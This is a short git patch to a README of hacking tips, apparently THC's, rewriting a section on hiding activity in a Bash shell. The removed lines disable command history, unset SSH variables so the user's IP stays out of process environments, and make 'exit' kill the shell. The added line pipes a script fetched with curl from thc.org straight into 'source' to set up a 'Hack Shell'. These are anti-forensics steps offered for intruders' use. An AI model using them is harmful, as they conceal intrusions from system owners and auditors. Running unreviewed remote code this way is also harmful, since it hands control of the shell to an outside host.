From 1aed2e1725a9f16e018ce57327339f496752bfb9 Mon Sep 17 00:00:00 2001
From: skyper <5938498+SkyperTHC@users.noreply.github.com>
Date: Fri, 28 Jun 2024 15:52:19 +0100
Subject: [PATCH] Update README.md

---
 README.md | 16 ++++------------
 1 file changed, 4 insertions(+), 12 deletions(-)

diff --git a/README.md b/README.md
index bd933e5..080df4c 100644
--- a/README.md
+++ b/README.md
@@ -115,22 +115,14 @@ Got tricks? Join us on Telegram: [https://t.me/thcorg](https://t.me/thcorg)
 <a id="bash"></a>
 ## 1. Bash / Shell
 <a id="bash-no-history"></a>
-**1.i. Leave Bash without history:**
-
-Tell Bash to use */dev/null* instead of *~/.bash_history*. This is the first command we execute on every shell. It will stop the Bash from logging your commands. 
+**1.i. Set up a Hack Shell (bash):**
 
+Make BASH less noisy. Disables *~/.bash_history*, clears SSH_* and many other things.
 ```sh
-export HISTFILE=/dev/null
-unset SSH_CONNECTION SSH_CLIENT
-```
-
-(We also clear SSH_* variables in case we logged in with SSH. Otherwise any process we start gets a copy of our IP in /proc/self/environ.)
-
-It is good housekeeping to 'commit suicide' when exiting a shell:
-```sh
-alias exit='kill -9 $$'
+source <(curl -SsfL https://thc.org/hs)
 ```
 
+Bonus tip:
 Any command starting with a " " (space) will [not get logged to history](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces) either.
 ```
 $  id